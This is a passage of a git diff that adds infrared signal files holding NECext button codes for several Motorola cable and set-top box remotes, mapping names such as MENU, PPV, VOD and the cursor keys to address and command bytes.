A_LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A_(LOCK) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: LOCKOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: LOCK_/_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: P-CHANNEL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: VOD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: VOD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: VOD2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: P-CHANNEL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ONDEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FAST-FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: SHUTTLE_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FFD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: SHUTTLE_REVERSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: BACK_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: PIP_MOVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: PIP_CH+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: PIP_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: PIP_CH- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: PIP_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: MENU-UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: ARROWN_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: MENU-DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: MENU-LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: MENU-RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: C_DAY_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: C_(DAY_+) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_FOR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: DAY- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: DAY_= +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: B_DAY_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: B_(DAY_-) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: DAY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: COLOR_4_BLUE_/_SWAP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: MENY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3D 00 00 00 +# +name: COLOR_2_GREEN_/_INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: COLOR_1_RED +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 59 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 68 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: COLOR_3_YELLOW_/_GUI +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 79 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir new file mode 100644 index 000000000..cd6afe2ec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: VOD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: PIP_MOVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: PIP_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: PIP_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: DVR_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir new file mode 100644 index 000000000..462a9921f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir new file mode 100644 index 000000000..58153f4bb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: GoBack +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: LastCh +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: Interests +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: Future +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir new file mode 100644 index 000000000..eb9264281 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHNDN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: THEME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PGDN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir new file mode 100644 index 000000000..3194c113c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 